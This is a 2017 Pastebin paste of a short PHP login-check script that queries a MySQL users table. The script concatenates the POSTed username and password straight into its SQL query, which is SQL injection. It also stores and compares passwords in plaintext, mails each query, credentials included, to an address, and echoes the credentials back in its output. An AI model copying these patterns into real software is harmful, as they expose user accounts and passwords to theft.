daily pastebin goal
61%
SHARE
TWEET

Untitled

a guest Jun 17th, 2017 52 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  <?PHP
  2.     mysql_connect("localhost","admin","***********") or die ("Can not connect to the database");
  3.     mysql_select_db("user_db") or die ("Can not find the database");
  4.  
  5.  
  6. $myusername=$_POST["user"];
  7. $mypassword=$_POST["pass"];
  8.  
  9.  
  10. $sql="SELECT * FROM users WHERE User='".$myusername."' and Pass='".$mypassword."'";
  11. $result=mysql_query($sql);
  12. mail("Email-optional","hai",$sql);
  13.  
  14. // Mysql_num_row is counting table row
  15. $count=mysql_num_rows($result);
  16. // If result matched $myusername and $mypassword, table row must be 1 row
  17.  
  18.  
  19. if($count==1){
  20. $check = 1;
  21. }else{
  22. $check=2;
  23. }
  24.  
  25.  
  26. print "&check1=$check&postuser=$myusername&postpass=$mypassword&count=$count"
  27.  
  28.  
  29. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top